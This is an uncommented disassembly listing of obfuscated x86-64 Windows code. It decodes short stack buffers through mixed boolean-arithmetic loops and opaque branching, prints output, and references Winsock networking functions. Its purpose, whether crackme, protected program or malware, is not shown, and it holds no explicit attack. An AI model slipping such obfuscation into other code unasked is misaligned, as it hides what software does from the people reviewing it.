lea rdx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0xf
cmova rdx, qword [rbp + 0x1f8]
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140080462
mov rcx, qword [rcx]
cmp r8, qword [rbp + 0x208]
jne 0x140081b10
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140081b10
nop dword [rax]
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x30], 0xab6fba6b
mov dword [rsp + 0x34], 0x75747a97
mov dword [rsp + 0x38], 0x7e4e7a79
mov dword [rsp + 0x3c], 0xdfbea07c
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor r14d, r14d
cmp r14, 0x10
jae 0x140080e9e
movzx esi, byte [rsp + r14 + 0x30]
mov edx, esi
cmp rbx, r14
ja 0x140080e95
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008050a
movabs rcx, 0x8adeb456e0db0662
add rcx, r14
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x52
jmp 0x140080537
je 0x140080e23
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080dcb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080d76
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140080d56
movzx r10d, r14b
nop dword [rax + rax]
cmp r8, r14
ja 0x140080e8c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140080569
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x46
jmp 0x1400805b0
je 0x140080d12
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080ce9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140080cdb
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140080cae
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140080c64
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140080c35
lea r9, [r8 + rbx]
cmp r9, r14
jbe 0x140080971
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140080963
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008093d
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008091a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008090c
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400808ef
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140080e6f
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140080e52
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14008072d
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140080713
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400806f9
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400808af
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008086f
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140080847
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400805c0
lea rbx, [r8 + 9]
lea r8, [rbx + 5]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008081b
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400807fb
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400807dc
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400807af
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008078f
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140080770
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008074d
lea rbx, [r8 + 0x42]
lea r8, [rbx + 2]
jmp 0x1400805c0
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x7a
jmp 0x1400805b0
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x1e
jmp 0x140080540
sub r10b, 0x52
movzx eax, r10b
and al, sil
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, sil
jmp 0x1400804d5
sub r10b, 0x38
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x78
dec r14
inc r14
jmp 0x1400804c3
lea edx, [r10 + 4]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x1c
add dil, dl
jmp 0x140080d94
add r10b, 0x40
movzx eax, sil
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r10b
jmp 0x140080db3
add r10b, 0x7c
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x64
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r14, rcx
inc r14
jmp 0x1400804c3
lea edx, [r10 - 0x48]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140080c7e
sub r10b, 0xc
movzx eax, sil
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r10b
jmp 0x140080dea
add r10b, 0x30
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x50
movzx eax, byte [rsp + r14 + 0x30]
add rax, r8
add r14, rax
inc r14
jmp 0x1400804c3
add r10b, 0x46
movzx eax, r10b
and al, sil
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, sil
mov byte [rsp + r14 + 0x30], dil
inc r14
jmp 0x1400804c3
lea edx, [r10 - 0x7e]
movzx eax, sil
and al, dl
mov ecx, 0x39
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
cmp r8, 0x2a
jb 0x140080862
lea edx, [r10 + 0xc]
movzx eax, sil
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
add cl, cl
add cl, sil
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140080d2c
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x32
cmp rbx, 3
jae 0x140080c04
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x140080b1d
lea edx, [r10 + 0x64]
movzx eax, sil
and al, dl
mov ecx, 0x22
jmp 0x14008087e
add r10b, 0x2c
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
lea edi, [rsi + r10]
sub dil, 0x34
jmp 0x140080db3
lea edx, [r10 + 0x68]
mov ecx, setsockopt
jmp 0x140080d83
sub r10b, 0x5c
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
lea edi, [rsi + r10]
sub dil, 0x7c
dec r14
inc r14
jmp 0x1400804c3
sub r10b, 0x20
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
lea edi, [rsi + r10]
sub dil, 0x20
inc r8
dec r14
inc r14
jmp 0x1400804c3
lea edx, [r10 + 0x1c]
mov ecx, 0x1e
jmp 0x140080d1b
lea r11, [r8 + 1]
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x1400809d9
lea edx, [r10 + 0x62]
movzx eax, dl
and al, sil
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
lea rdx, [r8 + 3]
lea rcx, [r8 + 5]
cmp r9, 6
je 0x140080c22
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x140080a86
lea edx, [r10 + 0x5a]
movzx eax, sil
and al, dl
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x76
add dil, dl
jmp 0x1400808c4
cmp rbx, r11
jne 0x140080a0d
add r10b, 0x14
movzx eax, r10b
and al, sil
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, sil
movzx eax, byte [rsp + r14 + 0x30]
add rax, r8
add r14, rax
inc r14
jmp 0x1400804c3
lea rdx, [r8 + 3]
cmp rbx, rdx
jne 0x140080a30
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x44
jmp 0x140080c7e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140080a5f
sub r10b, 0x54
movzx eax, r10b
and al, sil
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, sil
dec r14
inc r14
jmp 0x1400804c3
lea rcx, [r8 + 5]
cmp rbx, rcx
jne 0x1400809a0
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x6c
jmp 0x140080d2c
cmp rbx, r11
jne 0x140080aaa
lea edx, [r10 + 0x1e]
movzx eax, sil
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x140080d2c
cmp rbx, rdx
jne 0x140080ace
lea edx, [r10 + 0x6a]
movzx eax, sil
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x140080d94
cmp rbx, rcx
jne 0x140080af0
add r10b, 0x2e
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x42
jmp 0x140080db3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400808c4
add r10b, 0x7a
movzx eax, sil
and al, r10b
add al, al
movzx edi, sil
sub dil, al
sub dil, 0x56
add dil, r10b
jmp 0x140080dea
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080b52
add r10b, 0x28
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x18
movzx eax, byte [rsp + r14 + 0x30]
add rax, r8
add r14, rax
inc r14
jmp 0x1400804c3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080b7a
lea edx, [r10 - 0x50]
movzx eax, sil
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x140080c7e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140080ba2
lea edx, [r10 - 4]
movzx eax, sil
and al, dl
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, dl
jmp 0x140080d94
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140080bce
sub r10b, 0x40
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x40
dec r14
inc r14
jmp 0x1400804c3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140080889
sub r10b, 0x7c
movzx eax, sil
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r10b
inc r8
dec r14
inc r14
jmp 0x1400804c3
lea edx, [r10 - 0x30]
movzx eax, sil
and al, dl
movzx ecx, sil
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140080d94
lea ecx, [r10 - 0x6c]
movzx eax, sil
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0xc]
jmp 0x140080c7e
sub r10b, 0x12
movzx eax, r10b
and al, sil
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, sil
movzx eax, byte [rsp + r14 + 0x30]
add rax, r8
add r14, rax
inc r14
jmp 0x1400804c3
lea edx, [r10 + 0x66]
movzx eax, dl
and al, sil
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
sub r10b, 0xa
movzx eax, sil
and al, r10b
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, sil
add cl, r10b
movzx eax, cl
mov byte [rsp + r14 + 0x30], al
inc r8
add rax, r8
sub r14, rax
jmp 0x140080dea
sub r10b, 0x5e
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
lea edi, [rsi + r10]
sub dil, 0x6e
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r14, rcx
inc r14
jmp 0x1400804c3
lea edx, [r10 + 0x1a]
mov ecx, 0x25
jmp 0x140080d83
sub r10b, 0x6e
movzx eax, r10b
and al, sil
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, sil
inc r8
dec r14
inc r14
jmp 0x1400804c3
lea edx, [r10 - 0x32]
mov ecx, 0x2f
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
add r10b, 0x6e
movzx eax, sil
and al, r10b
add al, al
sub sil, al
sub sil, 2
add sil, r10b
mov byte [rsp + r14 + 0x30], sil
inc r8
dec r14
inc r14
jmp 0x1400804c3
lea ecx, [r14 - 0x42]
movzx eax, cl
and al, sil
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x32
dec r14
inc r14
jmp 0x1400804c3
movzx r10d, r14b
lea edx, [r10 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
and al, sil
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, sil
add r10b, 0x32
movzx eax, sil
and al, r10b
add al, al
sub sil, al
sub sil, 0x5e
add sil, dil
add sil, r10b
mov byte [rsp + r14 + 0x30], sil
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r14, rcx
inc r14
jmp 0x1400804c3
movabs rcx, 0xb65985b264471fea
add rcx, r14
and dl, cl
add dl, dl
movzx edi, sil
sub dil, dl
sub dil, 0x66
add dil, cl
lea ecx, [r14 + 0x58]
movzx eax, cl
and al, sil
add al, al
sub cl, al
sub cl, 0x68
add cl, sil
mov byte [rsp + r14 + 0x30], cl
inc rbx
mov rax, r12
sub rax, rbx
add r14, rax
movzx eax, byte [rsp + r14 + 0x30]
add rax, r8
add r14, rax
inc r14
jmp 0x1400804c3
movabs rax, 0xa09c1d04a2911326
add rax, r14
and dl, al
add dl, dl
sub sil, dl
lea edi, [rax + rsi]
sub dil, 0xa
movzx eax, byte [rsp + r14 + 0x30]
add rax, r8
add r14, rax
inc r14
jmp 0x1400804c3
sub r10b, 0x16
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0x66
jmp 0x1400804c0
add r10b, 0x26
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0xa
jmp 0x1400804b0
lea rdx, [rbp + 0x1684908]
jmp 0x140080ea3
lea rdx, [rbp + 0x434f6a]
jmp 0x140080ea3
lea rdx, [rsp + 0x30]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140080ec0
lea rcx, [rbp + 0xf0]
call fcn.14002ed40
mov dword [rbp + 0x110], 0xa
lea rdx, [rbp + 0xf0]
mov rcx, r15
call fcn.140071f60
lea rdx, [0x14006baf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xf0]
call fcn.1400716d0
mov byte [0x140996368], 0
mov byte [0x140999858], 1
mov word [rbp + 0xc0], 0x7f7f
mov byte [rbp + 0xc2], 0xa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc3], xmm0
mov dword [rbp + 0xd3], eax
mov byte [rbp + 0xd7], al
movabs r15, 0x4309e6533513b402
movzx edi, byte [rsp + 0x20]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x18
jae 0x140081a17
movzx r10d, byte [rbp + r11 + 0xc0]
mov esi, r10d
movzx r9d, r11b
nop
movzx r14d, r9b
cmp rbx, r11
ja 0x140081a0e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140080fb0
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0xe
jmp 0x140080fd0
je 0x140081996
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140081970
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008192a
movzx r9d, r11b
cmp r8, r11
ja 0x140081a05
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x140080ffe
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x140081032
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140081910
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400818b9
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008189c
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008186d
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x1400815c0
nop
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400815a3
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008157d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008155a
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008153f
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140081522
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400814f2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400814d3
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400814b3
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140081481
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140081040
lea rbx, [r8 + 8]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400819e8
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400819cb
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140081233
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
jb 0x140081218
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400811f9
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140081431
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400813e8
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400813a8
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140081380
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140081040
mov rbx, rcx
lea r8, [rcx + 2]
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140081351
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x140081334
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x140081315
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x1400812e5
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x1400812c5
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x1400812b7
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140081291
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14008126b
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x14008124e
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140081040
lea rbx, [r8 + 8]
lea r8, [rbx + 0x10]
jmp 0x140081040
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140081032
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x140080fd4
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x140080f80
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
jmp 0x140081940
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
inc r8
dec r11
inc r11
jmp 0x140080f64
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140080f64
lea edx, [r9 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x1400818c2
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400818f8
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080f64
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400817fc
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x14008182a
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140080f64
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
mov byte [rbp + r11 + 0xc0], dil
inc r11
jmp 0x140080f64
lea edx, [r9 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x40
jb 0x140081398
sub r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, r10b
lea edi, [r9*2 - 0x28]
jmp 0x140081940
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x61
jae 0x1400817c7
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14008172a
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x1400813c2
lea edx, [r9 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [rbx + r8]
cmp rax, 0x40
je 0x1400817e5
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x140081681
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x140081402
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140080f64
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008182a
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400817fc
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, 0x38
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080f64
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
jmp 0x1400818f8
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x1400818d3
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
dec r11
inc r11
jmp 0x140080f64
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x140080f64
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
jmp 0x140081940
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x1400815e4
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x14008144b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008161c
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140080f64
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081644
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400817fc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008144b
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080f64
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400816a7
add r9b, 0x7e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x72
jmp 0x140081940
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400816d6
sub r9b, 0x7a
movzx eax, r9b
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140080f64
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400816ed
lea edx, [r9 - 0x76]
mov ecx, 0x1d
jmp 0x1400818c2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140081402
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080f64
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081765
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140080f64
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008178a
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400817fc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400813c2
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140080f64
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400818d3
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0xc0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0xc0], cl
inc rbx
mov rax, r12
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140080f64
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140080f64
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400818f8
lea edx, [r9 + 0x3a]
mov ecx, 0x35
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0xc0], cl
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
